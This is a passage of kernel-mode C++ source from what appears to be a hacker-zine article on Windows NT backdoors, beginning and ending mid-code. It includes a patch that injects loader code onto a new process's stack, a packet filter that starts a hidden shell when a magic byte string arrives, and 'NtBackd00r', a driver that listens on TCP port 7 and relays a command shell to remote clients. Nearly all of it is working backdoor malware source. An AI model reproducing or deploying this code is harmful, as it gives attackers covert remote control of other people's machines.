//_asm int 3; SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID}; SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID}; char daclbuf[PAGE_SIZE]; NT::PACL dacl = (NT::PACL)&daclbuf; char sdbuf[PAGE_SIZE]; NT::PSECURITY_DESCRIPTOR sd = &sdbuf; NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION); if (!NT_SUCCESS(status)) return status; status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid); if (!NT_SUCCESS(status)) return status; RtlZeroMemory(sd, PAGE_SIZE); status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); if (!NT_SUCCESS(status)) return status; status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE); if (!NT_SUCCESS(status)) return status; status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE); if (!NT_SUCCESS(status)) return status; if (!NT::RtlValidSecurityDescriptor(sd)) { _asm int 3; } //To try! ULONG buflen = PAGE_SIZE*2; *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen); if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES; return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen); } #define PIPE_NAME_MAX 40*2 extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess) { NT::IO_STATUS_BLOCK iosb; NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd}; NT::LARGE_INTEGER nTimeOut; nTimeOut.QuadPart = (__int64)-1E7; return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess, FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut); } int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName) { HANDLE hProcess, hThread, hSection, hFile; //_asm int 3; NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE}; NT::IO_STATUS_BLOCK iosb; NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile); NT::ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); NT::SECTION_IMAGE_INFORMATION sii; NT::ZwQuerySection(hSection, NT::SectionImageInformation, &sii, sizeof sii, 0); NT::ZwClose(hSection); NT::USER_STACK stack = {0}; ULONG n = sii.StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - sii.StackCommit; /* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/ n = sii.StackCommit + PAGE_SIZE; PVOID p = PCHAR(stack.ExpandableStackBase) - n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x); NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(sii.EntryPoint); NT::CLIENT_ID cid; ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); NT::PROCESS_BASIC_INFORMATION pbi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pbi, sizeof pbi, 0); HANDLE hPipe,hPipe1; oa.ObjectName = PipeName; oa.Attributes = OBJ_INHERIT; if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0; NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe, 0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE); CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe); InformCsrss(hProcess, hThread, ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread)); ZwResumeThread(hThread, 0); NT::ZwClose(hProcess); NT::ZwClose(hThread); return int(cid.UniqueProcess); } int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName) { NT::UNICODE_STRING ImageFile; NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName); return exec_piped(&ImageFile, PipeName); } ----[ 8.5 - NebbetCreateProcess.diff 268a269,384 > typedef > WINBASEAPI > BOOL > (WINAPI > *f_SetStdHandle)( > IN DWORD nStdHandle, > IN HANDLE hHandle > ); > typedef > WINBASEAPI > HANDLE > (WINAPI > *f_CreateFileW)( > IN LPCWSTR lpFileName, > IN DWORD dwDesiredAccess, > IN DWORD dwShareMode, > IN LPSECURITY_ATTRIBUTES lpSecurityAttributes, > IN DWORD dwCreationDisposition, > IN DWORD dwFlagsAndAttributes, > IN HANDLE hTemplateFile > ); > #ifdef _DEBUG > typedef > WINBASEAPI > DWORD > (WINAPI > *f_GetLastError)( > VOID > ); > #endif > typedef VOID (*f_EntryPoint)(VOID); > > struct s_data2embed > { > wchar_t PipeName[PIPE_NAME_MAX]; > //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX]; > f_SetStdHandle pSetStdHandle; > f_CreateFileW pCreateFileW; > f_EntryPoint EntryPoint; > #ifdef _DEBUG > f_GetLastError pGetLastError; > #endif > }; > > //void before_code2embed(){}; > void code2embed(s_data2embed *embedded_data) > { > HANDLE hPipe; > > __asm int 3; > hPipe = embedded_data->pCreateFileW(embedded_data->PipeName, > GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, > 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/, > NULL, > OPEN_EXISTING, > 0/*FILE_ATTRIBUTE_NORMAL*/, > NULL); > embedded_data->pGetLastError(); > /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont; > hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName, > GENERIC_WRITE | SYNCHRONIZE, > FILE_SHARE_READ /*| FILE_SHARE_WRITE*, > NULL, > OPEN_EXISTING, > 0, > NULL); > embedded_data->pGetLastError(); > if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */ > if (hPipe!=INVALID_HANDLE_VALUE) > { > embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe); > } > embedded_data->EntryPoint(); > } > __declspec(naked) void after_code2embed(){}; > #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed) > > void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack) > { > s_data2embed data2embed; > PVOID pKERNEL32; > NT::UNICODE_STRING ModuleFileName; > > _asm int 3; > > *pCode = 0; > *pNewStack = 0; > NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll"); > LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32); > if (!pKERNEL32) return; > data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle"); > data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW"); > #ifdef _DEBUG > data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError"); > #endif > if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return; > data2embed.EntryPoint=(f_EntryPoint)EntryPoint; > wcscpy(data2embed.PipeName, PipeName); > //wcscpy(data2embed.WPipeName, WPipeName); > char* p = (char*)pStack - sizeof_code2embed; > if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return; > *pCode = (ULONG)p; > > p -= sizeof s_data2embed; > if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return; > > PVOID pData = (PVOID)p; > p -= sizeof pData; > if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return; > > p -= 4; > *pNewStack = (ULONG)p; > } > 317a434,437 > ULONG newEIP, NewStack; > redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack); > if ((!NewStack)||(!newEIP)) return 0; > 326,327c446,449 < context.Esp = ULONG(stack.ExpandableStackBase) - 4; < context.Eip = ULONG(sii.EntryPoint); --- > //loader code is on the stack > context.Esp = NewStack; > context.Eip = newEIP; ----[ 8.6 - NtdllDynamicLoader.cpp #include //#include "UndocKernel.h" #include "DynLoadFromNtdll.h" //Example A.2 from Nebbet's book //Search loaded module by name PVOID FindModule(char *module) { ULONG n; //Request necessary size of buffer NT::ZwQuerySystemInformation(NT::SystemModuleInformation, &n, 0, &n); //Allocate memory for n structures PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about modules NT::ZwQuerySystemInformation(NT::SystemModuleInformation, q, n * sizeof *q, 0); //Module counter located at address q, information begins at q+1 NT::PSYSTEM_MODULE_INFORMATION p = NT::PSYSTEM_MODULE_INFORMATION(q + 1); PVOID ntdll = 0; //Cycle for each module ... for (ULONG i = 0; i < *q; i++) { //...compare it's name with looked for... if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset, module) == 0) { //...and stop if module found ntdll = p[i].Base; break; } } //Free memory NT::ExFreePool(q); return ntdll; } PVOID FindNT() { return FindModule("ntdll.dll"); } //Search exported function named Name in module, loaded at addrress Base PVOID FindFunc(PVOID Base, PCSTR Name) { //At addrress Base there is DOS EXE header PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base); //Extract offset of PE-header from it PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew); //Evaluate pointer to section table, //according to directory of exported functions PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //Extract address and size of that table ULONG size = expdir->Size; ULONG addr = expdir->VirtualAddress; //Evaluate pointers: // - to directory of exported functions PIMAGE_EXPORT_DIRECTORY exports = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr); // - to table of addresses PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions); // - to table of ordinals PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals); // - to table of names PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames); //Cycle through table of names ... for (ULONG i = 0; i < exports->NumberOfNames; i++) { //Ordinal that matches name is index in the table of addresses ULONG ord = ordinals[i]; //Test is the address correct if (functions[ord] < addr || functions[ord] >= addr + size) { //If function name matches looked for... if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0) //then return it's address return PCHAR(Base) + functions[ord]; } } //Function not found return 0; } ----[ 8.7 - Filtering.cpp extern "C" { #include #include #include #include "filtering.h" #include "Sniffer.h" NTSYSAPI NTSTATUS NTAPI ZwLoadDriver( IN PUNICODE_STRING DriverServiceName ); } extern PF_FORWARD_ACTION PacketFilter( IN IPHeader *PacketHeader, IN unsigned char *Packet, IN unsigned int PacketLength, IN unsigned int RecvInterfaceIndex, IN unsigned int SendInterfaceIndex, IN IPAddr RecvLinkNextHop, IN IPAddr SendLinkNextHop ); NTSTATUS globalresult; PDEVICE_OBJECT pDeviceObject; PFILE_OBJECT pFileObject; KEVENT Event; NTSTATUS SutdownFiltering() { if ((pDeviceObject)&&(pFileObject)) { globalresult=SetupFiltering(NULL); ObDereferenceObject(pFileObject); return globalresult; } else return STATUS_SUCCESS; } NTSTATUS InitFiltering() { UNICODE_STRING FiltDrvName; UNICODE_STRING DSN={0}; //_asm int 3; RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER"); pDeviceObject=NULL; retry: IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject); if ((!pDeviceObject)&&(!DSN.Length)) { RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver"); ZwLoadDriver(&DSN); goto retry; } if (pDeviceObject) { KeInitializeEvent(&Event,NotificationEvent,FALSE); return SetupFiltering(&PacketFilter); } else return STATUS_OBJECT_NAME_NOT_FOUND; } NTSTATUS SetupFiltering(void *PacketFilterProc) { IO_STATUS_BLOCK iostb; LARGE_INTEGER Timeout; PIRP pirp = NULL; //_asm int 3; pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb); if (!pirp) { return STATUS_UNSUCCESSFUL; } globalresult=IoCallDriver(pDeviceObject,pirp); if (globalresult == STATUS_PENDING) { Timeout.QuadPart=100000000; if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS) return STATUS_UNSUCCESSFUL; globalresult = pirp->IoStatus.Status; } return globalresult; } ----[ 8.8 - MPFD_main.cpp extern "C" { #include #include #include #include "Sniffer.h" #include "Filtering.h" } extern VOID ShellStarter(VOID* StartShellEvent); HANDLE hShellStarterTread=NULL; BOOLEAN Terminating=FALSE; KEVENT StartShellEvent; unsigned char * __cdecl memfind( const unsigned char * str1, unsigned int n1, const unsigned char * str2, unsigned int n2 ) { if (n2>n1) return NULL; unsigned char *cp = (unsigned char *) str1; unsigned char *s1, *s2; unsigned int x; for (unsigned int i=0;i<=n1-n2;i++) { s1 = cp; s2 = (unsigned char *) str2; x=n2; while (x && !(*s1-*s2) ) s1++, s2++, x--; if (!x) return(cp); cp++; } return(NULL); } unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6"; PF_FORWARD_ACTION PacketFilter( IN IPHeader *PacketHeader, IN unsigned char *Packet, IN unsigned int PacketLength, IN unsigned int RecvInterfaceIndex, IN unsigned int SendInterfaceIndex, IN IPAddr RecvLinkNextHop, IN IPAddr SendLinkNextHop ) { if (memfind(Packet,PacketLength,keyword,sizeof(keyword))) { HANDLE ThreadHandle; KeSetEvent(&StartShellEvent, 0, FALSE); } return PF_PASS; } NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp, IO_NO_INCREMENT ); return Irp->IoStatus.Status; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { #if (DBG) DbgPrint("MPFD: OnUnload called\n"); #endif PVOID ThreadObj; SutdownFiltering(); if (hShellStarterTread) { Terminating=TRUE; ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL); KeSetEvent(&StartShellEvent, 0, TRUE); KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL); } } #pragma code_seg("INIT") NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS status; #if (DBG) DbgPrint("MPFD:In DriverEntry\n"); #endif UNREFERENCED_PARAMETER(RegistryPath); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = OnStubDispatch; } DriverObject->DriverUnload = OnUnload; status=InitFiltering(); if (status!=STATUS_SUCCESS) return status; KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE); OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent); return status; } ----[ 8.9 - NtBackd00r.cpp // NtBackd00r.cpp // // Generated by Driver::Wizard version 2.0 #define VDW_MAIN #include #include #include #include "function.h" #include "NtBackd00r.h" #pragma hdrstop("NtBackd00r.pch") #if (DBG) #define dprintf DbgPrint #else #define dprintf #endif extern "C" { NTSYSAPI NTSTATUS NTAPI ZwWaitForMultipleObjects( IN ULONG HandleCount, IN PHANDLE Handles, IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwCreateEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSYSAPI NTSTATUS NTAPI ZwSetEvent( IN HANDLE EventHandle, OUT PULONG PreviousState OPTIONAL ); } extern "C" void LoadFuncs(); extern "C" HANDLE StartShell(PHANDLE phPipe); extern VOID ShellStarter(VOID* StartShellEvent); ///////////////////////////////////////////////////////////////////// // Begin INIT section #pragma code_seg("INIT") DECLARE_DRIVER_CLASS(NtBackd00r, NULL) ///////////////////////////////////////////////////////////////////// // Driver Entry // NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); //Dynamic import of functions exported from ntdll.dll LoadFuncs(); // Initialize the TDIClient framework first if (!KTDInterface::Initialize()) { // something wrong with TDI return STATUS_NOT_FOUND; } // Create TCP server, port 7 CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO); m_pListener = new(NonPagedPool) KStreamServer (TCP_port); // If succeeded - enable network events if (m_pListener && m_pListener->IsCreated()) { m_pListener->SetEvents(TRUE); dprintf("NtBackd00rDevice: Listener started\n"); } else { dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n"); return STATUS_INSUFFICIENT_RESOURCES; } //Create dummy device for IoQueueWorkItem m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL); if (m_pDummyDevice == NULL) { return STATUS_INSUFFICIENT_RESOURCES; } return STATUS_SUCCESS; } #pragma code_seg() #pragma warning( disable : 4706 ) //This message will be sen to client in case of failure when starting shell char errtxt_shell[]="cant start shell"; ////////////////////////////////////////////////////////////////////////////// // Unload is responsible for releasing any system objects that // the driver has allocated. // VOID NtBackd00r::Unload(VOID) { if (m_pListener) { // Disable network event notifications m_pListener->SetEvents(FALSE); // Iterate through the list of active sessions // and forcefully disconnect all active sessions Session* p; TDI_STATUS Status; while ( p = m_ActiveSessionList.RemoveHead() ) { // Thread handle must be extracted before dele p HANDLE hWorkerThread = p->hDataPumpThread; // By default, this method will perform an // abortive disconnect (RST) Status = p->disconnect(); ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status); delete p; // It's required to wait for termination of worker threads, // or else unloading driver will cause BSOD if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL); } // Wait for all outstanding requests to complete // By issuing a disconnect for all sessions, any // pending requests should be completed by the transport m_pListener->Wait(); // destroy the socket delete m_pListener; m_pListener = NULL; dprintf("NtBackd00rDevice: Listener stopped\n"); } delete m_pDummyDevice; // Call base class destructor to delete all devices. KDriver::Unload(); } // Frees buffers, given to ZwWriteFile for asynchronous write VOID NTAPI ApcCallbackWriteComplete( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ) { UNREFERENCED_PARAMETER(IoStatusBlock); UNREFERENCED_PARAMETER(Reserved); // delete (uchar *)ApcContext; } #define SENDS_QUEUED_THRESHOLD 3 // Thread, that transfers data between named pipe and socket VOID DataPumpThread(IN PVOID thiz1) { IO_STATUS_BLOCK send_iosb, rcv_iosb; uchar *send_buf, *rcv_buf; ULONG rd; const bufsize=0x1000; NTSTATUS status; LARGE_INTEGER ResendInterval; //loacl copy of Pipes needed for correct thread termination //after deleting Session s_Pipes *Pipes; Session* thiz=(Session*)thiz1; Pipes=thiz->m_Pipes; ResendInterval.QuadPart = (__int64)1E6; //0.1c //Create FIFO //Source of BSOD at high IRQL thiz->pWBytePipe = new(NonPagedPool) KLockableFifo(0x100000, NonPagedPool); //Lock socket to avoid sudden deletion of it thiz->Lock(); //send_buf alocated here, deleted in OnSendComplete send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); if (status==STATUS_SUCCESS) { //Send read data to client status=thiz->send(send_buf, send_iosb.Information, send_buf); if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS)) dprintf("send error %08x\n"); //to avoid recurring send of same data send_iosb.Status = -1; } while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL)) { //STATUS_WAIT_1 - read operation completed case STATUS_WAIT_1: // if (Pipes->Terminating) goto fin; if (!Pipes->hPipe) break; sending: { if (!send_iosb.Status) { resend: //Send read data to client status=thiz->send(send_buf, send_iosb.Information, send_buf); //If there wan an error, then it tried to push too much data in socket if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING)) { //Wait for free space in buffer... KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval); //...and retry goto resend; } } //send_buf alocated here, deleted in OnSendComplete send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); //If there was a data in pipe buffer, it read instantly. if (status==STATUS_SUCCESS) //send it immediately goto sending; else { if (status!=STATUS_PENDING) { delete send_buf; //STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet if (status!=STATUS_PIPE_LISTENING) { //otherwise it was an error, disconnect client and terminate thread if (!Pipes->Terminating) thiz->disconnect(); goto fin; } } } }; break; //STATUS_WAIT_0 - write operation completed case STATUS_WAIT_0: if (Pipes->Terminating) goto fin; if (!Pipes->hPipe) break; //FIFO must be locked during all operation with it //to avoid conflicts thiz->pWBytePipe->Lock(); //At first look what crowd into FIFO,... rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead(); if (rd) { //... then allocate appropriate amount of memory ... rcv_buf = new(NonPagedPool) uchar[rd]; //... and read all at once rd = thiz->pWBytePipe->Read(rcv_buf, rd); } thiz->pWBytePipe->Unlock(); if (rd) { status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL); if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING)) { //if there was an error, disconnect client and terminate thread if (!Pipes->Terminating) thiz->disconnect(); goto fin; } } break; case STATUS_ALERTED: break; default: goto fin; } fin: //If termination not initiated from outside, unlock socket if (!Pipes->Terminating) thiz->Unlock(); //If pipe exists, then all the rest exists too - //destroy it all if (Pipes->hPipe) { ZwClose(Pipes->hPipe); for (int i=0;i<=1;i++) ZwClose(Pipes->hPipeEvents[i]); CLIENT_ID clid = {Pipes->ChildPID, 0}; HANDLE hProcess; OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0}; #define PROCESS_TERMINATE (0x0001) status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid); if (!status) { ZwTerminateProcess(hProcess, 0); ZwClose(hProcess); } } delete Pipes; PsTerminateSystemThread(0); } #define DISABLE_INTS __asm pushfd; cli #define RESTORE_INTS __asm popfd; VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1) { OBJECT_ATTRIBUTES attr; HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID; UNREFERENCED_PARAMETER(DeviceObject); #define desc ((s_WorkItemDesc*)desc1) //By course of business will check is there "cancel" command if (desc->WorkItemCanceled) goto cancel2; //Start shell loc_ChildPID = StartShell(&loc_hPipe); if (loc_ChildPID) { InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL); //Create 2 events to notify thread about data receipt //from socket or pipe for (int i=0;i<=1;i++) ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE); //Disable interrupts and write all handles to structure that is class member DISABLE_INTS if (!desc->WorkItemCanceled) { desc->thiz->m_Pipes->hPipe = loc_hPipe; desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0]; desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1]; desc->thiz->m_Pipes->ChildPID = loc_ChildPID; } RESTORE_INTS if (desc->WorkItemCanceled) goto cancel; //Create thread, that transfers data between named pipe and socket PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz); } else { cancel: //In case of error or cancel close pipe, send error message to client, //and disconnect it ZwClose(loc_hPipe); char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1]; RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1); desc->thiz->send(errmess, sizeof(errtxt_shell)-1); desc->thiz->disconnect(); } cancel2: //Cleanup IoFreeWorkItem(desc->WorkItem); DISABLE_INTS desc->WorkItem = NULL; if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL; RESTORE_INTS ExFreePool(desc1); #undef desc } ///////////////////////////////////////////////////////////////////////// // Session -- Event handlers. BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA, uint OptionsLength, PVOID Options) { // Connecting: print the IP address of the requestor and grant the connection #if(DBG) char szIPaddr[20]; inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr)); dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this); #endif // obtain a pointer to the KDriver derived class NtBackd00r* p = reinterpret_cast(KDriver::DriverInstance()); ASSERT(p); //Initialization of miscellaneous stuff pWBytePipe = NULL; hDataPumpThread = NULL; m_Pipes = new(NonPagedPool) s_Pipes; RtlZeroMemory(m_Pipes, sizeof s_Pipes); //Initialize and start WorkItem m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc); #define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc) pWorkItemDesc->WorkItemCanceled=false; pWorkItemDesc->thiz=this; pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice); if (!pWorkItemDesc->WorkItem) return FALSE; //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc); #undef pWorkItemDesc // Add this object to the session list maintained by the driver p->m_ActiveSessionList.InsertTail(this); UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options); return TRUE; } void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort) { dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this); UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort); } Session::~Session() { // obtain a pointer to the KDriver derived class NtBackd00r* p = reinterpret_cast(KDriver::DriverInstance()); ASSERT(p); // Remove this object from the session list maintained by the driver p->m_ActiveSessionList.Remove(this); //Set flas, that make thread to terminate m_Pipes->Terminating = true; //To not wait for yesterday in OnUnload hDataPumpThread = NULL; //Set event "let's finish" if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); //If WorkItem works, notify it about termination if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true; delete pWBytePipe; } uint Session::OnReceive(uint Indicated, uchar *Data, uint Available, uchar **RcvBuffer, uint* RcvBufferLen) { // Received some data from the client peer. //If all required pointers and handles are valid if (m_Pipes && pWBytePipe && m_Pipes->hPipe) { //Write that data to FIFO pWBytePipe->LockedWrite(Data, Indicated); //And notify DataPumpThread ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); } // Now, if the transport has more data available than indicated, // allocate another buffer to read the rest. When the transport // done with it - asynchronously - our OnReceiveComplete() handler // is called. Note that failure to submit a buffer supressed further // recieve indications - until and if a recv() is issued. if (Indicated < Available) { *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated]; } return Indicated; } void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt) { // Our send request has completed. Free the buffer if (status != TDI_SUCCESS) dprintf("NtBackd00rDevice: Failed sending data, err 